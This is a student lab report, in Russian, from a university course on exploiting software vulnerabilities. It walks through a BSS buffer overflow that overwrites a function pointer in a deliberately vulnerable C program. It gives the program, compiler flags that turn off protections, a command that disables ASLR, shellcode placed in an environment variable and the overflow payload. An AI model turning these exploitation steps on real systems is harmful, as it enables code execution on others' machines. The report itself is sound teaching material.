Скачиваний:
40
Добавлен:
10.04.2023
Размер:
424.89 Кб
Скачать

МИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ,

СВЯЗИ И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ

«САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ТЕЛЕКОММУНИКАЦИЙ ИМ. ПРОФ. М.А. БОНЧ-БРУЕВИЧА»

(СПбГУТ)

Факультет Инфокоммуникационных сетей и систем Кафедра Защищенных систем связи

Дисциплина Эксплуатация Уязвимостей Программного Обеспечения

10.03.01 Информационная безопасность

(код и наименование направления/специальности)

 

 

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №3

 

 

 

Выполнил:

 

 

 

Яковлев И. А., ИКБ-95

 

 

 

 

(Ф.И.О., № группы)

 

(подпись)

 

Милькота Н. О., ИКБ-95

 

 

 

 

(Ф.И.О., № группы)

 

(подпись)

 

Погосов М. В., ИКБ-95

 

 

 

 

(Ф.И.О., № группы)

 

(подпись)

Преподаватель:

 

Браницкий А. А.

 

(Ф.И.О)

(подпись)

Санкт-Петербург

2022

1. Установить линукс на виртуалку;

sudo apt install gcc

sudo apt install gcc-multilib sudo apt install nasm

2. Код исполняемой программы

#include <stdio.h>

#include <string.h>

#include <stdlib.h> void prt (char *v)

{

printf ("v: %s\n", v );

}

int main (int argc, char *argv [])

{

if (argc != 2) exit (1); static char buf [100]; static void (*f)(char *);

printf ("addr buf: %p\n", buf); printf ("addr &f: %p\n", &f); f = prt;

strcpy (buf, argv [1]); f (buf);

return 0;

}

3. Компиляция файла C

gcc -g -m32 --static -fno-stack-protector -z execstack vuln_bass.c -o vuln_bass

4. Получение буферов

./vuln_bss aaa

Разница между buf и &f (0x80e92c0 – 0x80e9324 = 100)

5. Получение буферов с 99(а)

./vuln_bass `python -c 'print ("a" * 99)'`

2

При 100(а) выводится ошибка

6. Код адреса переменной окружения

#include <stdio.h>

#include <stdlib.h>

int main (int argc , char * argv [])

{

printf (" addr %s: %p\n", argv [1] , getenv ( argv [1])); printf ("%s=%s\n", argv [1] , getenv ( argv [1]));

}

7. Отключение механизма ASLR

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

8. компиляция кода адреса переменной окружения

gcc -m32 pea.c -o pea

9. Задание переменной окружения

export SHELLCODE=$(echo -e "\xeb\xfe")

10. Получаем адрес переменной окружения:

./pea SHELLCODE

11. Получение адреса переменной окружения в программе vuln_bass

python3 -c 'print("{:02x}".format(0xffffdfd4 - (len("./vuln_bass") - len("./pea")) * 2))'

12. Запуск эксплойта

Получаем строку мусора и копируем: python3 -c ‘print(“A”*100)’

3

Запускаем эксплойт

/vuln_bass $(echo -n -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc8\xdf\xff\xff")

4

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения